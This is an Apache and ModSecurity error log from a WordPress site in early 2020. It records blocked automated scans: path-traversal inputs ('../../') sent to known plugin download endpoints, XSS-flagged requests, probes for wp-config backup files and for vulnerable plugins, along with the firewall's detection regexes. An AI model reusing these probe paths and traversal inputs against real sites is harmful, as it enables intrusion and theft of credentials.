[Wed Feb 19 12:44:07.820607 2020] [:error] [pid 3734] [client 194.60.254.243:37779] [client 194.60.254.243] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/churchope/lib/downloadlink.php"] [unique_id "Xk0fhx84sBd@E@mtnhKDxgAAABM"]
[Wed Feb 19 18:28:57.428441 2020] [:error] [pid 19755] [client 141.98.81.178:53438] [client 141.98.81.178] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-includes/css/dist/block-library/style.min.css"] [unique_id "Xk1wWcJ7uYrMM26sLKxUpQAAAAU"]
[Wed Feb 19 20:31:19.314254 2020] [proxy_fcgi:error] [pid 1292] [client 178.238.8.117:65220] AH01071: Got error 'Primary script unknown\n'
[Wed Feb 19 20:31:19.672011 2020] [proxy_fcgi:error] [pid 1063] [client 178.238.8.117:65376] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:38:53.072101 2020] [proxy_fcgi:error] [pid 32077] [client 178.238.8.117:54778] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:38:54.025385 2020] [proxy_fcgi:error] [pid 32165] [client 178.238.8.117:63411] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:38:58.424979 2020] [proxy_fcgi:error] [pid 32299] [client 178.238.8.117:56596] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:38:59.138378 2020] [proxy_fcgi:error] [pid 32359] [client 178.238.8.117:57294] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:38:59.878995 2020] [proxy_fcgi:error] [pid 32361] [client 178.238.8.117:58495] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:39:08.812796 2020] [proxy_fcgi:error] [pid 32361] [client 178.238.8.117:51597] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:39:10.775363 2020] [proxy_fcgi:error] [pid 32359] [client 178.238.8.117:53542] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:39:12.866334 2020] [autoindex:error] [pid 32162] [client 178.238.8.117:59410] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/uploads/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Thu Feb 20 00:39:13.553976 2020] [autoindex:error] [pid 32164] [client 178.238.8.117:52893] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/uploads/2020/02/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Thu Feb 20 00:39:14.928235 2020] [proxy_fcgi:error] [pid 32354] [client 178.238.8.117:60827] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:39:16.341143 2020] [proxy_fcgi:error] [pid 32296] [client 178.238.8.117:58550] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:39:17.634445 2020] [proxy_fcgi:error] [pid 32078] [client 178.238.8.117:56814] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:39:18.416489 2020] [proxy_fcgi:error] [pid 32146] [client 178.238.8.117:51579] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:39:20.166421 2020] [proxy_fcgi:error] [pid 32296] [client 178.238.8.117:62719] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:39:22.004941 2020] [proxy_fcgi:error] [pid 32300] [client 178.238.8.117:50907] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:39:23.688052 2020] [proxy_fcgi:error] [pid 32300] [client 178.238.8.117:51811] AH01071: Got error 'Primary script unknown\n'
[Thu Feb 20 00:39:25.750269 2020] [authz_core:error] [pid 32300] [client 178.238.8.117:63326] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/new_license.php
[Thu Feb 20 20:22:30.950946 2020] [authz_core:error] [pid 6288] [client 78.85.139.53:39384] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/duplicator
[Thu Feb 20 23:56:24.462737 2020] [authz_core:error] [pid 1704] [client 51.77.52.160:58294] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/profile-builder
[Fri Feb 21 09:30:01.758314 2020] [authz_core:error] [pid 22369] [client 187.167.202.247:42059] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/license.txt, referer: http://fincasandoval.com/license.txt
[Sat Feb 22 09:42:22.378349 2020] [proxy_fcgi:error] [pid 23809] [client 193.106.30.99:44210] AH01071: Got error 'Primary script unknown\n'
[Sat Feb 22 11:03:44.157393 2020] [proxy_fcgi:error] [pid 31415] [client 92.63.197.160:43792] AH01071: Got error 'Primary script unknown\n', referer: http://www.facebook.net/
[Sat Feb 22 11:03:47.209074 2020] [proxy_fcgi:error] [pid 31417] [client 92.63.197.160:58285] AH01071: Got error 'Primary script unknown\n', referer: http://www.facebook.net/
[Sat Feb 22 11:03:49.935175 2020] [proxy_fcgi:error] [pid 30725] [client 92.63.197.160:50718] AH01071: Got error 'Primary script unknown\n', referer: http://www.facebook.net/
[Sat Feb 22 11:03:52.647858 2020] [proxy_fcgi:error] [pid 31415] [client 92.63.197.160:46401] AH01071: Got error 'Primary script unknown\n', referer: http://www.facebook.net/
[Sat Feb 22 15:35:09.336973 2020] [:error] [pid 24343] [client 198.12.156.154:42512] [client 198.12.156.154] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "2242"] [id "33340748"] [rev "2"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))(?:%(?:u2024|2e)|\\\\.){2}(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))" at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XlE8HaHjIyj7RcDMaxdVxAAAAAI"]
[Sat Feb 22 20:31:20.004681 2020] [:error] [pid 21207] [client 194.60.254.243:12133] [client 194.60.254.243] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "2242"] [id "33340748"] [rev "2"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))(?:%(?:u2024|2e)|\\\\.){2}(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))" at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XlGBh5LCb92Ju5mc3FNzGwAAACs"]
[Sun Feb 23 10:35:11.873343 2020] [authz_core:error] [pid 30441] [client 193.106.30.99:44982] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/akismet/akismet.php
[Sun Feb 23 14:17:58.592726 2020] [proxy_fcgi:error] [pid 20793] (70007)The timeout specified has expired: [client 182.191.226.18:52758] AH01075: Error dispatching request to :
[Sun Feb 23 23:09:28.950658 2020] [:error] [pid 9736] [client 185.225.28.58:53215] [client 185.225.28.58] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "2242"] [id "33340748"] [rev "2"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))(?:%(?:u2024|2e)|\\\\.){2}(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))" at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XlL4GA2DjC7U1c4ZeDgBEQAAAAA"]
[Mon Feb 24 00:57:01.379801 2020] [proxy_fcgi:error] [pid 19853] [client 193.106.30.99:46496] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 07:15:54.603704 2020] [proxy_fcgi:error] [pid 15583] [client 82.223.14.245:43838] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 07:15:55.961936 2020] [proxy_fcgi:error] [pid 15558] [client 82.223.14.245:44876] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 07:15:57.175919 2020] [proxy_fcgi:error] [pid 15914] [client 82.223.14.245:45416] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 07:15:59.974673 2020] [proxy_fcgi:error] [pid 15914] [client 82.223.14.245:46676] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 07:16:01.375359 2020] [proxy_fcgi:error] [pid 15582] [client 82.223.14.245:47370] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 07:16:03.015554 2020] [proxy_fcgi:error] [pid 15561] [client 82.223.14.245:48028] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 07:16:04.530328 2020] [proxy_fcgi:error] [pid 15583] [client 82.223.14.245:48682] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 07:16:05.781383 2020] [proxy_fcgi:error] [pid 15558] [client 82.223.14.245:49312] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 07:16:09.001127 2020] [proxy_fcgi:error] [pid 15577] [client 82.223.14.245:50558] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 07:16:12.254658 2020] [proxy_fcgi:error] [pid 15583] [client 82.223.14.245:51952] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 07:16:17.262151 2020] [proxy_fcgi:error] [pid 15581] [client 82.223.14.245:53958] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 07:16:18.654172 2020] [proxy_fcgi:error] [pid 15561] [client 82.223.14.245:54604] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 09:36:52.156329 2020] [proxy_fcgi:error] [pid 6919] [client 193.106.30.99:58048] AH01071: Got error 'Primary script unknown\n'
[Mon Feb 24 17:32:51.933760 2020] [:error] [pid 11991] [client 194.60.254.243:59378] [client 194.60.254.243] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "2242"] [id "33340748"] [rev "2"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))(?:%(?:u2024|2e)|\\\\.){2}(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))" at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XlP6s29hD3MYXQF5UMNYMAAAAAQ"]
[Tue Feb 25 07:10:10.042708 2020] [authz_core:error] [pid 1179] [client 175.198.158.213:56936] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/license.txt
[Tue Feb 25 09:36:50.111806 2020] [proxy_fcgi:error] [pid 23285] [client 193.106.30.99:60322] AH01071: Got error 'Primary script unknown\n'
[Wed Feb 26 01:37:51.755599 2020] [authz_core:error] [pid 20708] [client 51.77.52.160:49564] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/duplicator-pro
[Wed Feb 26 01:53:06.227595 2020] [authz_core:error] [pid 25032] [client 120.78.73.175:38712] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/blog, referer: http://fincasandoval.com/blog/license.txt
[Wed Feb 26 18:04:29.455646 2020] [authz_core:error] [pid 11611] [client 119.23.131.91:37434] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp, referer: http://fincasandoval.com/wp/license.txt
[Thu Feb 27 02:46:30.763447 2020] [authz_core:error] [pid 19861] [client 51.77.52.160:60812] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/duplicator
[Thu Feb 27 07:18:09.250480 2020] [authz_core:error] [pid 7567] [client 122.202.10.126:39388] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp
[Fri Feb 28 02:03:53.085132 2020] [authz_core:error] [pid 15626] [client 47.99.144.49:60200] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/info, referer: http://fincasandoval.com/info/license.txt
[Fri Feb 28 08:19:29.149237 2020] [:error] [pid 15874] [client 45.136.108.44:6507] [client 45.136.108.44] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "2242"] [id "33340748"] [rev "2"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))(?:%(?:u2024|2e)|\\\\.){2}(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))" at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "Xli-AUPhgBoQVxrBusni6AAAAAo"]
[Sat Feb 29 03:51:05.286895 2020] [autoindex:error] [pid 2014] [client 192.227.152.122:51612] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/test/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Sat Feb 29 08:18:54.352023 2020] [proxy_fcgi:error] [pid 14220] [client 70.27.248.143:56344] AH01071: Got error 'Primary script unknown\n'
[Sat Feb 29 11:24:41.132485 2020] [proxy_fcgi:error] [pid 1526] [client 178.128.151.69:44662] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Sat Feb 29 23:48:19.833105 2020] [:error] [pid 8139] [client 91.243.188.17:53638] [client 91.243.188.17] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "2242"] [id "33340748"] [rev "2"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))(?:%(?:u2024|2e)|\\\\.){2}(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))" at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XlrqMy-6TBo4zHxZJcz-fAAAAAc"]
[Sun Mar 01 02:10:21.999764 2020] [:error] [pid 20236] [client 68.183.76.157:49934] [client 68.183.76.157] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XlsLfdnUMv62MTiPm07OkAAAACc"]
[Sun Mar 01 02:10:23.892155 2020] [:error] [pid 20586] [client 68.183.76.157:50370] [client 68.183.76.157] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XlsLf2p8FsBiBO4blgYdGgAAAAc"]
[Sun Mar 01 02:10:24.835566 2020] [:error] [pid 20567] [client 68.183.76.157:50596] [client 68.183.76.157] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XlsLgOCeX8DRW@CCxQJtuwAAAAE"]
[Sun Mar 01 04:00:17.767062 2020] [:error] [pid 28249] [client 141.98.81.183:58946] [client 141.98.81.183] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-content/themes/book-lite/js/script.js"] [unique_id "XlslQS5uqDE43bn6TDbkAgAAAAA"]
[Sun Mar 01 17:37:31.509125 2020] [:error] [pid 8215] [client 185.124.189.84:34170] [client 185.124.189.84] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "Xlvky1MTtwYo4Gvg8lh1UAAAAAQ"]
[Sun Mar 01 20:58:57.107348 2020] [:error] [pid 28847] [client 209.126.76.56:40052] [client 209.126.76.56] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XlwUASSSNubD-r@f9EVEUAAAAAo"]
[Mon Mar 02 04:14:27.748940 2020] [proxy_fcgi:error] [pid 27546] [client 193.106.30.99:43382] AH01071: Got error 'Primary script unknown\n'
[Mon Mar 02 14:31:25.839334 2020] [authz_core:error] [pid 2834] [client 101.37.244.107:34380] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/test/license.txt, referer: http://fincasandoval.com/test/license.txt
[Mon Mar 02 17:05:50.869518 2020] [proxy_fcgi:error] [pid 24872] [client 193.106.30.99:40190] AH01071: Got error 'Primary script unknown\n'
[Tue Mar 03 04:25:59.480234 2020] [authz_core:error] [pid 24344] [client 109.70.100.23:53266] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/user-meta-manager
[Tue Mar 03 05:35:55.644805 2020] [ssl:error] [pid 4335] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 03 05:35:55.676107 2020] [ssl:error] [pid 4335] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 03 15:36:50.688267 2020] [proxy_fcgi:error] [pid 31465] [client 193.106.30.99:40354] AH01071: Got error 'Primary script unknown\n'
[Wed Mar 04 05:18:41.237871 2020] [proxy_fcgi:error] [pid 21239] [client 177.75.21.139:61662] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php:12\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php on line 12\n'
[Wed Mar 04 05:18:42.092905 2020] [proxy_fcgi:error] [pid 21298] [client 177.75.21.139:53802] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php:10\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php on line 10\n'
[Wed Mar 04 05:18:44.096269 2020] [proxy_fcgi:error] [pid 21239] [client 177.75.21.139:61684] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php:13\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php on line 13\n'
[Wed Mar 04 08:19:25.284609 2020] [authz_core:error] [pid 28286] [client 209.90.225.219:65006] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/estatik, referer: http://fincasandoval.com/wp-content/plugins/estatik/readme.txt
[Wed Mar 04 14:17:11.208739 2020] [authz_core:error] [pid 15660] [client 194.61.24.94:51333] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/delucks-seo
[Thu Mar 05 23:13:39.945921 2020] [autoindex:error] [pid 21701] [client 109.201.152.19:49607] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/test/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Fri Mar 06 01:18:38.459317 2020] [authz_core:error] [pid 4463] [client 194.61.24.94:56705] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php~
[Fri Mar 06 16:38:18.077100 2020] [proxy_fcgi:error] [pid 16878] [client 192.99.15.15:52730] AH01071: Got error 'Primary script unknown\n'
[Fri Mar 06 16:38:48.132489 2020] [proxy_fcgi:error] [pid 17147] [client 192.99.15.15:54022] AH01071: Got error 'Primary script unknown\n'
[Fri Mar 06 16:40:29.300253 2020] [:error] [pid 17156] [client 192.99.15.15:57536] [client 192.99.15.15] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:path"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:path. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php"] [unique_id "XmJu7ZUZ4fQje-neSUma7QAAAAY"]
[Fri Mar 06 16:40:45.611609 2020] [:error] [pid 17553] [client 192.99.15.15:60310] [client 192.99.15.15] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:pic"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:pic. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/ungallery/source_vuln.php"] [unique_id "XmJu-cM3qhZRFMLgySjhWQAAACk"]
[Sat Mar 07 00:06:28.607507 2020] [authz_core:error] [pid 8592] [client 194.61.24.94:63048] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.txt
[Sat Mar 07 13:44:37.796578 2020] [authz_core:error] [pid 19303] [client 209.90.225.219:51931] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-dreamworkgallery, referer: http://fincasandoval.com/wp-content/plugins/wp-dreamworkgallery/readme.txt
[Sun Mar 08 01:45:40.937237 2020] [authz_core:error] [pid 18357] [client 185.220.101.44:39537] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/mail-masta
[Sun Mar 08 13:15:41.511662 2020] [authz_core:error] [pid 16611] [client 47.112.196.146:33734] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/shop, referer: http://fincasandoval.com/shop/license.txt
[Sun Mar 08 17:42:56.652184 2020] [authz_core:error] [pid 9756] [client 177.75.21.139:49936] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/akismet/akismet.php
[Sun Mar 08 17:42:56.919674 2020] [proxy_fcgi:error] [pid 9773] [client 177.75.21.139:49951] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function add_action() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/hello.php:69\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/hello.php on line 69\n'
[Sun Mar 08 19:00:51.558452 2020] [authz_core:error] [pid 17652] [client 209.90.225.219:59431] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/php-event-calendar, referer: http://fincasandoval.com/wp-content/plugins/php-event-calendar/readme.txt
[Sun Mar 08 22:28:00.484030 2020] [proxy_fcgi:error] [pid 7995] [client 78.85.255.39:35372] AH01071: Got error 'Primary script unknown\n'
[Mon Mar 09 07:20:28.882558 2020] [authz_core:error] [pid 14664] [client 209.90.225.219:65501] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-easy-gallery-pro, referer: http://fincasandoval.com/wp-content/plugins/wp-easy-gallery-pro/LICENSE.txt
[Mon Mar 09 09:24:43.214242 2020] [authz_core:error] [pid 2900] [client 39.104.111.99:38290] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/1, referer: http://fincasandoval.com/1/license.txt
[Mon Mar 09 17:23:01.472171 2020] [authz_core:error] [pid 6458] [client 209.90.225.219:50398] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-mobile-detector, referer: http://fincasandoval.com/wp-content/plugins/wp-mobile-detector/readme.txt
[Mon Mar 09 18:16:58.590303 2020] [authz_core:error] [pid 16131] [client 194.61.24.94:55735] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.bak
[Mon Mar 09 19:59:02.112449 2020] [authz_core:error] [pid 30716] [client 101.132.128.165:47978] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/dev, referer: http://fincasandoval.com/dev/license.txt
[Tue Mar 10 01:11:46.879502 2020] [ssl:error] [pid 8928] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 10 01:11:47.112088 2020] [ssl:error] [pid 8928] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 10 03:25:54.853757 2020] [authz_core:error] [pid 23190] [client 209.90.225.219:50800] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp2android-turn-wp-site-into-android-app, referer: http://fincasandoval.com/wp-content/plugins/wp2android-turn-wp-site-into-android-app/readme.txt
